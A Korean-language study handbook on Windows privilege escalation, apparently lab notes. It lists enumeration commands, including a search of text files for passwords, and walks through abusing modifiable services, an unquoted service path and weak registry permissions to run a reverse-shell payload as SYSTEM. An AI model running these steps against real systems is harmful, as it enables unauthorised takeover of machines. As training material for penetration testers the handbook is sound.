
Windows 권한 상승 개념에 대한 나의 핸드북입니다. 내 재생 목록을 확인해 보세요, 링크: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
An Important point worth noting is Groups, any user of Group Administrator helps us to escalate!
whoami /priv - 현재 사용자의 권한net users - 모든 사용자 목록net user <username> - 특정 사용자의 세부 정보 목록qwinsta - 동시에 로그인된 다른 사용자net localgroup - 시스템에서 사용 가능한 그룹net localgroup <group-name> - 특정 그룹의 구성원 목록systeminfo - OS에 대한 모든 정보 제공hostname - 시스템의 호스트명findstr /si password *.txt - 텍스트 파일에서 'password'를 포함하는 파일을 찾는 데 사용wmic qfe get Caption,Description,HotFixID,InstalledOn - 보안 패치 및 관련 정보를 알려줌netstat -ano - 머신과 관련된 연결schtasks /query /fo LIST /v - 예약된 작업이 있는지 확인driverquery - 드라이버 관련 정보 목록sc query windefend - 안티바이러스 서비스 확인systeminfo 명령의 출력을 여러분의 머신에 복사하기만 하면 됩니다. 이것이 이 도구의 유일한 요구 사항입니다.wmic product get name,version,vendor - 제품 이름, 버전, 공급업체를 제공합니다. 이 명령은 우리가 필요한 것을 적절히 시각화해 줍니다.wmic service list brief | findstr "Running"을 사용하고, 서비스에 대한 더 많은 정보를 얻으려면 sc qc <ServiceName>을 사용하세요.post/multi/recon/local_exploit_suggester라는 모듈을 실행하세요. 이 도구가 제대로 작동하도록 세션이 백그라운드에 있는지 확인하거나 meterpreter에서 간단히 로드할 수 있습니다.winpeas.exe --help를 실행하여 모든 옵션을 확인하세요.systeminfo 명령을 실행하여 시스템 정보를 얻고, 그것을 파일에 복사한 다음 .txt 확장자로 이름을 지정하세요.여기서는 안전하지 않은 권한을 가진 서비스를 식별한 다음 이를 악용하려고 시도합니다.
여기서 winpeas.exe servicesinfo 명령을 사용할 수 있으며, 매우 유용한 서비스들을 볼 수 있습니다.
출력에서 흥미로운 부분 중 하나는 다음과 같습니다.```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig
- 그러나 더 자세한 정보를 얻기 위해 Microsoft에서 제공하는 **accesschk**라는 도구를 사용할 수 있습니다. 다음과 같이 실행하면 `accesschk.exe /accepteula -uwcqv <current-user> <service>`, 출력은,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config입니다.sc qc <service>를 실행한 다음, 변경할 Binary_path_name(이 값은 binpath라고도 함)을 확인합니다.sc config <service> <option>="<value>"입니다.sc config daclsvc binpath="<path>"를 실행하고 서비스를 시작합니다: sc start daclsvcVulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.
C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe
- 더 자세한 정보를 얻으려면 **WinPEAS** 스크립트를 `servicesinfo` 옵션과 함께 사용하면 됩니다. 여기서 **Unquoted Service Path**를 악용할 수 있는지에 대한 정보를 확인할 수 있습니다. 제가 도구를 실행했을 때 출력에서 흥미로운 부분은 다음과 같습니다,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
sc qc <service>를 사용하십시오.accesschk를 사용하여 특정 위치 C:\Program Files\Unquoted Path Service의 권한을 확인해 보겠습니다. accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"를 실행하십시오. 출력:```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators- 읽기 및 쓰기 권한이 있습니다.
- 이제 페이로드를 생성하여 `C:\Program Files\Unquoted Path Service`에 붙여넣겠습니다. `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`를 통해, 여기서는 알파벳 순서상 이점도 있는 다른 이름으로 지정하고 있습니다.
- 이제 서비스를 시작합니다. `sc start unquotedsvc`, 우리는 관리자입니다!!!
-----------------------
### 약한 레지스트리 권한:
- 여기서는 레지스트리 권한이 약한 서비스를 악용하려고 합니다.
- 찾으려면 `servicesinfo` 옵션과 함께 `Winpeas`를 사용해야 합니다. 출력은 다음과 유사합니다.```
���������� Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
이제 서비스 이름인 regsvc로 이동합니다. 이 서비스에 대해 자세히 알아보기 위해 sc qc regsvc를 실행하면 출력은 다음과 같습니다.```
sc qc regsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
- 흥미로운 사실은 경로가 따옴표로 묶여 있어 **Unquoted Service Path** 취약점이 없다는 것입니다.
- 이제 `accesschk.exe`를 실행하고 더 깊이 살펴보겠습니다. `accesschk /acceptula -uvwqk <path of registry>`(즉 `HKLM\system\currentcontrolset\services\regsvc`)를 실행하세요.
- 출력에서 `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)`를 찾으면 이제 악용할 준비가 된 것입니다.
- 이제 `reg query HKLM\system\currentcontrolset\services\regsvc`를 사용하여 레지스트리 내의 옵션을 살펴보겠습니다. `ImagePath`라는 실행 파일 값을 받는 옵션을 찾았으니 이를 악용해 봅시다. 먼저 리버스 셸을 생성하세요.
- 이제 `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`를 실행하세요. 페이로드 경로는 자신의 필요에 따라 선택하세요.
- 이제 서비스를 실행하세요. `net start regsvc`를 실행하면 만세! 셸을 획득했습니다.